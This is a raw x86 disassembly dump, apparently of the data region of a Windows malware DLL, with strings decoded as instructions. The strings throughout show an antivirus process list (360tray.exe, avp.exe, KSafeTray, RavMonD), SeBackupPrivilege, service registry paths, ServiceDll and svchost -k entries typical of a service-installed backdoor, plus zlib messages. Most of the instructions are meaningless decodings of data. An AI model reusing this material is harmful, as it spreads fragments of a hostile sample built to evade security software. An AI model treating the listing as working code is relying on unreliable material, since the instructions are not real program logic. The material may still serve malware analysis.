add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add esp, dword [eax]
and byte [edx + 0x71], dl
insd dword es:[edi], dx
bound edi, qword [edx + 0x64]
insb byte es:[edi], dx
inc esp
push 0x6e
pushal
jo 0x1001e773
pop ebp
pop edx
jo 0x1001e7cc
jae 0x1001e7ac
inc esi
jo 0x1001e7cb
jle 0x1001e7d3
jp 0x1001e7dc
bound esp, qword [ebx + 0x2f]
bound esi, qword [ecx + 0x65]
add al, 3
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [edx], eax
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add al, byte [ecx]
add dword [0x2010202], eax
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add al, byte [0x2010403]
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, dword [edx]
add al, byte [0x2010403]
add eax, 0x2010403
add al, 3
add eax, 0x5040208
add eax, dword [0x5040208]
or byte [ecx], al
add al, byte [ebx + eax]
add al, 3
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x38201], al
add byte [esi + 0x4d], bh
jle 0x1001e89b
dec eax
jp 0x1001e851
add byte [eax], al
add byte [eax + 0x41], cl
dec eax
inc ecx
push edx
inc esp
push edi
inc ecx
push edx
inc ebp
pop esp
inc esp
inc ebp
push ebx
inc ebx
push edx
dec ecx
push eax
push esp
dec ecx
dec edi
dec esi
pop esp
push ebx
jns 0x1001e8df
je 0x1001e8d3
insd dword es:[edi], dx
pop esp
inc ebx
outsb dx, byte gs:[esi]
je 0x1001e8e7
popal
insb byte es:[edi], dx
push eax
jb 0x1001e8e9
arpl word [ebp + 0x73], sp
jae 0x1001e8ee
jb 0x1001e8dd
xor byte [eax], al
add byte [edx + 0x65], dl
push edx
dec edi
jo 0x1001e8ef
outsb dx, byte [esi]
dec ebx
jns 0x1001e8d0
add byte [ebp + ecx*2 + 0x42], dl
push esp
dec ebp
inc edx
dec ebp
push ebx
push edx
push esi
js 0x1001e900
add byte [ebx + 0x6e], ch
imul ebp, dword [esi + 0x73], 0x64
je str.360tray.exe
popal
jns 0x1001e8d3
js 0x1001e90d
add byte [eax], al
add byte [eax], al
dec ebp
arpl word [ebx + 0x68], si
imul esp, dword [ebp + 0x6c], 0x78652e64
add byte gs:[eax], al
add byte [eax], al
dec ebx
jbe 0x1001e90c
outsd dx, dword [esi]
outsb dx, byte [esi]
pop eax
push eax
js str.avp.exe
add byte [ebx + 0x78], ch
imul edi, dword [eax + 0x65], 0x74
invalid
popal
jns 0x1001e8fe
js 0x1001e938
add byte [ebp + 0x67], ah
jne 0x1001e941
js 0x1001e941
add byte [eax], al
add byte [eax], al
popal
jbe 0x1001e94a
add byte [eax], al
add byte [ecx + 0x76], ah
popal
jbe 0x1001e94a
outsb dx, byte [esi]
outsb dx, byte [esi]
je str.360tray.exe
js 0x1001e94e
js 0x1001e94e
add byte [eax], al
add byte [ebx + 0x53], cl
dec ebx
push ebx
popal
push sp
jb 0x1001e955
jns 0x1001e924
js 0x1001e95e
add byte [eax], al
add byte [ebx + 0x78], ch
invalid
invalid
jae 0x1001e962
popal
jo 0x1001e973
js 0x1001e96c
js 0x1001e96c
add byte [edx + 0x61], dl
push edx
popal
jbe 0x1001e959
outsd dx, dword [esi]
outsb dx, byte [esi]
inc esp
js 0x1001e978
add byte [ebx], dh
xor esi, dword [esi]
xor byte [edx + esi*2 + 0x61], dh
xor esi, dword [esi]
xor byte [edx + esi*2 + 0x61], dh
jns 0x1001e94a
js 0x1001e984
add byte [ebx], dh
xor esi, dword [esi]
xor byte [ebx + 0x64], dh
js 0x1001e98e
js 0x1001e98e
add byte [eax], al
add byte [ecx + 0x76], ah
popal
jbe 0x1001e99f
invalid
popal
jbe 0x1001e99f
js 0x1001e998
js 0x1001e998
add byte [edi + 0x6c], al
inc edi
insb byte es:[edi], dx
outsd dx, dword [esi]
bound esp, qword [ecx + 0x6c]
popal
insb byte es:[edi], dx
dec ebp
insd dword es:[edi], dx
outsd dx, dword [esi]
jb 0x1001e9b9
jns 0x1001e994
push ebx
je 0x1001e9a4
je 0x1001e9ba
jae 0x1001e947
add byte [edi + 0x65], al
inc edi
invalid
je 0x1001e99f
jns 0x1001e9c1
je 0x1001e9b5
insd dword es:[edi], dx
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
add byte [eax], al
add byte [edi + 0x65], al
inc edi
je 0x1001e99f
je 0x1001e99f
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001e9d5
je 0x1001e9c7
jb 0x1001e9b2
popal
insd dword es:[edi], dx
inc ecx
add byte [eax], al
add byte [eax], al
cmp al, byte [eax]
add byte [eax], al
inc edi
insb byte es:[edi], dx
outsd dx, dword [esi]
bound esp, qword [ecx + 0x6c]
pop esp
dec esi
je 0x1001e9da
and eax, 0x64
push ebx
je 0x1001e9c9
jb 0x1001e9f8
outsd dx, dword [esi]
jb 0x1001e9d6
outsd dx, dword [esi]
add byte gs:[eax], al
add byte [eax], al
dec edi
jo 0x1001e9f8
outsb dx, byte [esi]
inc ebp
jbe 0x1001e9fc
outsb dx, byte [esi]
je 0x1001e9db
add byte [eax], al
push ebx
je 0x1001e9f3
push ebx
jb 0x1001ea19
imul esp, dword [ebx + 0x65], 0x74617453
jne 0x1001ea1f
arpl word [ebp + 0x53], sp
je 0x1001ea0a
je 0x1001ea20
jae 0x1001e9ad
add byte [eax], al
add byte [eax], al
dec ebp
jns 0x1001e9d3
add byte [eax], al
add byte [ebp + 0x79], cl
dec ebp
invalid
and byte [edi + 0x69], dl
push edi
imul ebp, dword [esi + 0x33], 0x70412032
outsb dx, byte [esi]
xor esi, dword [edx]
and byte [ecx + 0x70], al
inc ecx
jo 0x1001ea2c
jo 0x1001ea29
insb byte es:[edi], dx
popal
arpl word [ecx + ebp*2 + 0x6f], si
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [edi + 0x49], dl
push edi
dec ecx
dec esi
xor esi, dword [edx]
and byte [ecx + 0x70], al
jo 0x1001ea3a
imul esp, dword [ebx + 0x61], 0x6e6f6974
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [eax], al
add byte [edx + 0x65], dl
push edx
invalid
add byte [eax], al
push edx
imul esi, dword gs:[bp + di + 0x74], 0x65537265
imul esi, dword [bp + di + 0x74], 0x65537265
imul esi, dword [ebx + 0x74], 0x65537265
jb 0x1001ea5a
imul esp, dword [ebx + 0x65], 0x6c727443
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
jb 0x1001ea34
add byte [ebp + 0x6e], dl
push ebp
outsb dx, byte [esi]
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ebx + 0x53], bp
jb 0x1001ea74
jb 0x1001ea74
imul esp, dword [ebx + 0x65], 0x61746144
bound esp, qword [ecx + 0x73]
add byte gs:[eax], al
add byte [ebx + 0x68], al
inc ebx
push 0x65676e61
push ebx
add byte [eax], al
inc ebx
push 0x65676e61
push ebx
jb 0x1001ea8c
imul esp, dword [ebx + 0x65], 0x666e6f43
imul esp, dword [edi + 0x32], 0x41
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
imul sp, word [edi + 0x32], 0x41
xor al, byte [ecx]
inc ecx
add byte [eax], al
add byte [edi + ebp*2 + 0x63], cl
dec esp
outsd dx, dword [esi]
arpl word [ebx + 0x53], bp
jb 0x1001eaa2
invalid
add byte [eax], al
dec esp
outsd dx, dword [esi]
arpl word [ebx + 0x53], bp
jb 0x1001eaa2
imul esp, dword [ebx + 0x65], 0x61746144
arpl word [ebp + 0x44], sp
popal
je 0x1001ea94
bound esp, qword [ecx + 0x73]
add byte gs:[ebx + 0x72], al
inc ebx
invalid
popal
jae str.SeBackupPrivilege
add byte [ebx + 0x72], al
inc ebx
invalid
popal
je 0x1001eaa3
push ebx
jb 0x1001eab8
imul esp, dword [ebx + 0x65], 0x53000041
push ebx
je 0x1001eaac
jb 0x1001eac1
push ebx
jb 0x1001eac7
imul esp, dword [ebx + 0x65], 0x41
inc ecx
push 0x75
push 0x75
jae 0x1001ead2
push esp
outsd dx, dword [esi]
imul esp, dword [ebp + 0x6e], 0x50
jb 0x1001eacf
jbe 0x1001ead1
insb byte es:[edi], dx
jae 0x1001ea6e
add byte [eax], al
dec esp
outsd dx, dword [esi]
outsd dx, dword [esi]
imul esi, dword [ebp + 0x70], 0x50
jne 0x1001eae6
push eax
jb 0x1001eae2
jbe 0x1001eae4
insb byte es:[edi], dx
push esi
popal
insb byte es:[edi], dx
jne 0x1001eae9
inc ecx
add byte [eax], al
add byte [edi + 0x65], al
inc edi
je 0x1001eacf
jne 0x1001eb00
jb 0x1001eaf5
outsb dx, byte [esi]
je 0x1001eae3
jb str.Net_Temp.ini
outsd dx, dword [esi]
arpl word [ebp + 0x73], sp
jae 0x1001ea9a
jae 0x1001eb0c
add byte [eax], al
add byte [ebx + 0x65], dl
push ebx
inc edx
add byte [eax], al
push ebx
inc edx
popal
arpl word [ebx + 0x75], bp
jne str.SYSTEMCurrentControlSetServices_
jo 0x1001eaf5
push eax
jb 0x1001eb10
jbe 0x1001eb12
insb byte es:[edi], dx
add byte gs:[bx + si], al
add byte gs:[eax], al
add byte [ebx + 0x65], dl
push ebx
push edx
jae 0x1001eb2a
outsd dx, dword [esi]
jb 0x1001eb1e
push eax
push eax
jb 0x1001eb25
jbe 0x1001eb27
insb byte es:[edi], dx
add byte gs:[bx + si], al
add byte gs:[eax], al
push ebx
jb 0x1001eb3e
jbe 0x1001eb32
imul esp, dword [ebx + 0x65], 0x6e69614d
arpl word [ebp + 0x4d], sp
popal
imul ebp, dword [esi], 0x6b726144
inc esp
popal
jb 0x1001eb3f
add byte [ecx + 0x72], al
inc esp
popal
jb 0x1001eb3f
inc ecx
outsb dx, byte [esi]
insb byte es:[di], dx
popal
jb 0x1001eb3f
inc ecx
outsb dx, byte [esi]
insb byte es:[di], dx
add byte [eax], al
add byte [ebx + 0x65], dl
push ebx
jb 0x1001eb56
imul esp, dword [ebx + 0x65], 0x6c6c44
add byte [0x61505c73], ah
and eax, 0x61505c73
inc esp
inc esp
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
and eax, 0x61505c73
jae 0x1001eb47
push eax
popal
jb 0x1001eb50
insd dword es:[edi], dx
je 0x1001eb58
jb 0x1001eb68
add byte [eax], al
add byte [ebx + 0x4f], dl
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
and eax, 0x654e0064
dec esi
je 0x1001eb35
dec esi
je 0x1001eb35
push esp
insd dword es:[edi], dx
jo 0x1001eb3b
imul ebp, dword cs:[esi + 0x69], 0
imul ebp, dword [esi + 0x69], 0
add byte [eax], al
add byte [eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x1001eb90
jb 0x1001eb85
outsb dx, byte [esi]
je 0x1001eb66
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001eb99
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x1001eb89
push ebx
jb 0x1001eba7
imul esp, dword [ebx + 0x65], 0x5c73
arpl word [ebp + 0x73], sp
pop esp
add byte [eax], al
and eax, 0x69000073
invalid
insd dword es:[edi], dx
add byte [ecx + 0x6d], ch
invalid
insd dword es:[edi], dx
jae 0x1001ebb7
jae 0x1001ebb7
arpl word [eax], ax
add byte [ebx + 0x4f], dl
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x1001ebb3
jb 0x1001ebc1
jae 0x1001ebc3
je 0x1001ebb3
pop esp
push edi
imul ebp, dword [esi + 0x64], 0x2073776f
dec esi
push esp
pop esp
inc ebx
jne 0x1001ebd7
jb 0x1001ebcc
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
je 0x1001ebc0
jb 0x1001ebe0
imul ebp, dword [edi + 0x6e], 0x6376535c
dec eax
outsd dx, dword [esi]
jae 0x1001ebec
add byte [eax], al
add byte [eax], al
pop esp
push eax
popal
jb 0x1001ebe2
insd dword es:[edi], dx
je 0x1001ebea
jb 0x1001ebfa
add byte [ebx + 0x65], dl
push ebx
je 0x1001ebd2
je 0x1001ebd2
imul ebp, dword [ebp + 0x41], 0x69727474
je 0x1001ec06
jb 0x1001ebfd
bound esi, qword [ebp + 0x74]
jae 0x1001ebdb
inc ecx
add byte [eax], al
inc ebx
outsd dx, dword [esi]
jo 0x1001ec19
inc esi
imul ebp, dword [ebp + 0x41], 0x25000000
invalid
push ebx
jns 0x1001ec1f
add byte [0x74737953], ah
and eax, 0x74737953
insd dword es:[edi], dx
je 0x1001ec13
insd dword es:[edi], dx
push edx
outsd dx, dword [esi]
outsd dx, dword [esi]
je 0x1001ebd9
and eax, 0x7379535c
pop esp
push ebx
jns 0x1001ec2b
jae 0x1001ec2d
je 0x1001ec1f
insd dword es:[edi], dx
insd dword es:[edi], dx
xor esi, dword [edx]
pop esp
jae 0x1001ec36
arpl word [eax + 0x6f], bp
push 0x2e74736f
js 0x1001ec2e
jae 0x1001ec39
js 0x1001ec2e
and byte [0x6d69206b], ch
and byte [ecx + 0x6d], ch
jae 0x1001ec48
arpl word [eax], ax
inc edi
insb byte es:[edi], dx
popal
bound ebp, qword [ebp + 0x5f]
pop edi
pop edi
push edi
popal
imul esi, dword [eax + eax], 0x78450000
inc ebp
js 0x1001ec57
popal
add byte [eax], al
add byte [eax], al
inc ebp
js 0x1001ec57
popal
outsb dx, byte [esi]
inc ebp
inc ebp
outsb dx, byte [esi]
jbe 0x1001ec57
jb 0x1001ec5f
outsb dx, byte [esi]
insd dword es:[edi], dx
outsb dx, byte gs:[esi]
je 0x1001ec49
je 0x1001ec6a
imul ebp, dword [esi + 0x67], 0x4173
jae 0x1001ec3e
add byte [eax], al
add byte [edi + 0x65], al
inc edi
je 0x1001ec51
outsd dx, dword [esi]
jne 0x1001ec74
jne 0x1001ec74
inc esi
imul ebp, dword [ebp + 0x4e], 0x41656d61
add byte [eax], al
or al, byte [eax]
add byte [eax], al
arpl word [edx], di
add byte [edx], cl
add byte [eax], al
add byte [ebx + 0x3a], ah
arpl word [edx], di
cmp bl, byte [esi + ecx*2 + 0x54]
pop esp
dec esi
push esp
pop edi
push eax
popal
je 0x1001ec8a
push 0x70
add byte [bx + si], al
inc ebx
jb str.unknown_compression_method
popal
je 0x1001ec93
inc esi
inc esi
imul ebp, dword [ebp + 0x41], 0x312e3100
xor dword [esi], ebp
xor dword [esi], ebp
xor al, 0
xor dword [esi], ebp
xor al, 0
add byte [eax], al
add byte [esi + 0x65], ch
outsb dx, byte [esi]
invalid
add byte [eax], al
outsb dx, byte [esi]
and byte fs:[ecx + ebp*2 + 0x63], ah
and byte fs:[ecx + ebp*2 + 0x63], ah
je 0x1001ecaf
outsd dx, dword [esi]
outsb dx, byte [esi]
popal
jb 0x1001ecc4
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
arpl word [edi + 0x72], bp
jb 0x1001ecb8
arpl word [eax + 0x64], si
popal
je 0x1001ecbb
and byte [ebx + 0x68], ah
arpl word gs:[ebx], bp
add byte [eax], al
add byte [ecx + 0x6e], ch
imul ebp, dword [esi + 0x63], 0x6572726f
imul eax, dword [eax], 0
add byte [eax], al
imul ebp, dword [esi + 0x63], 0x6572726f
arpl word gs:[eax + 0x68], si
arpl word [eax + 0x68], si
popal
jb 0x1001ec95
and byte [ebx + 0x68], ah
arpl word gs:[ebx], bp
arpl word [eax + 0x65], bp
arpl word [ebx], bp
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x1001ece1
insb byte es:[edi], dx
imul esp, dword [eax + 0x77], 0x6f646e69
ja 0x1001ecab
and byte [ebx + 0x69], dh
jae 0x1001ecf6
jp 0x1001ecf4
add byte [ebp + 0x6e], dh
jne 0x1001ed00
jne 0x1001ed00
imul ebp, dword [esi + 0x6f], 0x77
outsb dx, byte [esi]
outsb dx, byte [esi]
outsd dx, dword [esi]
ja 0x1001ed05
and byte [ebx + 0x6f], ah
insd dword es:[edi], dx
jo 0x1001ed0f
jae 0x1001ed13
imul ebp, dword [edi + 0x6e], 0x74656d20
push 0x646f
xor al, 0xec
add byte [esp + ebp*8], dh
add dword [eax], edx
imul ebp, dword [esi + 0x76], 0x64696c61
and byte [edx + 0x69], ah
je 0x1001ecdc
adc byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x1001ed15
insb byte es:[edi], dx
imul esp, dword [eax + 0x62], 0x6c207469
bound ebp, qword [ecx + 0x74]
and byte [ebp + 0x6e], ch
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x1001ed2a
and byte [edx + 0x65], dh
jo 0x1001ed2c
jo 0x1001ed2c
popal
je 0x1001ecca
add byte [eax], al
je 0x1001ed3d
outsd dx, dword [esi]
and byte [ebp + 0x61], ch
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
jns 0x1001ecf5
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x1001ed43
and byte [edi + 0x72], ch
and byte [ecx + ebp*2 + 0x73], ah
je 0x1001ed45
outsd dx, dword [esi]
jb 0x1001ecff
imul esi, dword fs:[ebx + 0x74], 0x65636e61
and byte [ebx + 0x79], dh
jae 0x1001ed57
popal
outsb dx, byte [esi]
arpl word [ebp + 0x20], sp
jae 0x1001ed63
insd dword es:[edi], dx
bound ebp, qword [edi + 0x6c]
jae str.invalid_stored_block_lengths
imul ebp, dword [esi + 0x76], 0x64696c61
and byte [ebx + 0x74], dh
insb byte es:[edi], dx
imul esp, dword [eax + 0x73], 0x65726f74
and byte fs:[ebx + 0x74], dh
outsd dx, dword [esi]
jb 0x1001ed62
and byte fs:[edx + 0x6c], ah
bound ebp, qword [edi + ebp*2 + 0x63]
imul esp, dword [eax], 0x6c
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ebx + 0x20], bp
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x1001ed73
jae 0x1001ed0d
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x1001ed75
popal
insb byte es:[edi], dx
imul esp, dword [eax + 0x62], 0x6b636f6c
and byte [ecx + edi*2 + 0x70], dh
add byte gs:[eax], al
cmp al, 0xec
add dword [eax], edx
mov al, 0xed
add dword [eax], edx
adc byte [eax - 0x5beffe00], dh
mov al, 0
add dl, byte [eax]
movsb byte es:[edi], byte [esi]
in eax, dx
add dword [eax], edx
xchg esp, eax
in eax, dx
add dword [eax], edx
mov ch, ch
add dword [eax], edx
je 0x1001ed2b
in eax, dx
add dword [eax], edx
in eax, dx
add dword [eax], edx
dec esp
adc byte [ebp + ebp*8 + 1], cl
adc byte [eax + 0x69100200], dh
imul ebp, dword [esi + 0x63], 0x61706d6f
in eax, dx
add dword [eax], edx
mov al, 0
add dl, byte [eax]
imul ebp, dword [esi + 0x63], 0x61706d6f
je 0x1001edbe
bound ebp, qword [ebp + 0x20]
jbe 0x1001edc0
and byte gs:[esi + 0x65], dh
jb 0x1001edd0
imul ebp, dword [edi + 0x6e], 0
add byte [eax], al
add byte [edx + 0x75], ah
bound esi, qword [ebp + 0x66]
jb 0x1001ed8b
bound esi, qword [ebp + 0x66]
jb 0x1001ed8b
jb 0x1001ede0
outsd dx, dword [esi]
jb 0x1001ed71
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
outsb dx, byte [esi]
jae 0x1001eded
imul sp, word [ebx + 0x69], 0x6e65
je 0x1001eda1
insd dword es:[edi], dx
insd dword es:[edi], dx
outsd dx, dword [esi]
jb 0x1001ee00
add byte [ecx + 0x74], ah
popal
invalid
popal
and byte [ebp + 0x72], ah
jb 0x1001ee00
jb 0x1001ed93
add byte [ebx + 0x74], dh
jae 0x1001ee0a
jb 0x1001edfd
popal
insd dword es:[edi], dx
and byte [ebp + 0x72], ah
jb 0x1001ee0e
jb 0x1001eda1
add byte [eax], al
add byte [esi + 0x69], ah
imul bp, word [ebp + 0x20], 0x7265
jb str.invalid_literal_length_code
jb 0x1001edaf
add byte [ebx + 0x74], dh
jae 0x1001ee26
jb 0x1001ee19
popal
insd dword es:[edi], dx
and byte [ebp + 0x6e], ah
add byte fs:[eax], al
add byte [eax], al
add byte [eax], al
adc byte [ebp - 0x5c3befff], ah
add dword [eax], edx
add dword [ecx], eax
add byte [eax], al
push ds
add dword [eax], eax
add byte [edi], cl
add byte [eax], al
sldt word [eax]
add byte [eax], al
add byte [eax], al
add byte [eax + 0x381001a9], dl
movsb byte es:[edi], byte [esi]
add dword [eax], edx
add byte [eax], al
add byte [eax], al
push ds
add byte [eax], al
add byte [edi], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x1001a4], dh
add byte [eax], al
add byte [ebx], dl
add byte [eax], al
add byte [edi], al
pop es
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x1001ee69
insb byte es:[edi], dx
imul esp, dword [eax + 0x64], 0x61747369
jae 0x1001ee84
popal
outsb dx, byte [esi]
arpl word [ebp + 0x20], sp
arpl word [edi + 0x64], bp
add byte gs:[eax], al
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x1001ee81
imul ebp, dword [esi + 0x76], 0x64696c61
and byte [ecx + ebp*2 + 0x74], ch
jb 0x1001ee8b
insb byte es:[edi], dx
imul esp, dword [eax + 0x6c], 0x72657469
popal
insb byte es:[edi], dx
das
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x1001ee9a
and byte [ebx + 0x6f], ah
add byte gs:[ecx], cl
add byte [eax], al
add byte [0x60000000], al
pop es
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push eax
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], dl
add byte [eax], al
add byte [eax + ecx], dl
add byte [ebx], dh
add byte [eax], al
push edx
pop es
add byte [eax], al
pop ds
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], dh
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
rol byte [eax], 0
add byte [eax + 7], dl
pop es
add byte [eax], al
or al, byte [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
pushal
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], ah
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax], ah
add byte [eax], ah
add byte [eax], al
add byte [eax], cl
add byte [eax], al
and byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
mov al, byte [pe_dos_header]
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
loopne 0x1001eebe
add byte [eax], al
push eax
pop es
add byte [eax], al
push es
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], bl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
sbb byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
nop
add byte [eax], al
add byte [ebx + 7], dl
add byte [eax], al
cmp eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
js 0x1001eeee
add byte [eax], al
add byte [eax], cl
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
rol byte [eax], 1
add byte [eax], al
push ecx
pop es
add byte [eax], al
adc dword [eax], eax
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push 0
or byte [eax], al
add byte [eax], ch
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax], dh
or byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], cl
or byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
lock add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
add al, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push esp
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax + eax], dl
add byte [eax], al
push ebp
or byte [eax], al
add bl, ah
add byte [eax], al
add byte [ebx + 7], dl
add byte [eax], al
sub eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
je 0x1001ef6e
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor al, 0
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
enter 0, 0
push ecx
pop es
add byte [eax], al
or eax, 0
or byte [eax], al
add byte [eax + eax], ah
add byte [eax], al
or byte [eax], al
add byte [eax + eax], ah
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
test al, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add al, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
test byte [eax], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
inc esp
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add al, ch
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
or byte [eax], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
pop esp
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax + eax], bl
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
cwde
add byte [eax], al
add byte [edi + eax], dl
add byte [ebx], dl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jl 0x1001efee
add byte [eax], al
add byte [eax], cl
add byte [eax], al
cmp al, 0
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
fadd dword [eax]
add byte [eax], al
push edx
pop es
add byte [eax], al
pop ss
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax + eax], ch
add byte [eax], al
or byte [eax], al
add byte [eax + eax], ch
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
mov eax, 0
or byte [eax], al
add byte [eax + eax], cl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
mov word [eax], es
add byte [eax], al
add byte [eax], cl
add byte [eax], al
dec esp
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add al, bh
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
add eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push edx
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], dl
add byte [eax], al
add byte [ebp + 8], dl
add byte [eax], al
mov dword [0x53000000], eax
pop es
add byte [eax], al
and eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jb 0x1001f06e
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
les eax, [eax]
add byte [eax], al
push ecx
pop es
add byte [eax], al
or eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
bound eax, qword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
and al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
movsb byte es:[edi], byte [esi]
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], al
or byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
in al, 0
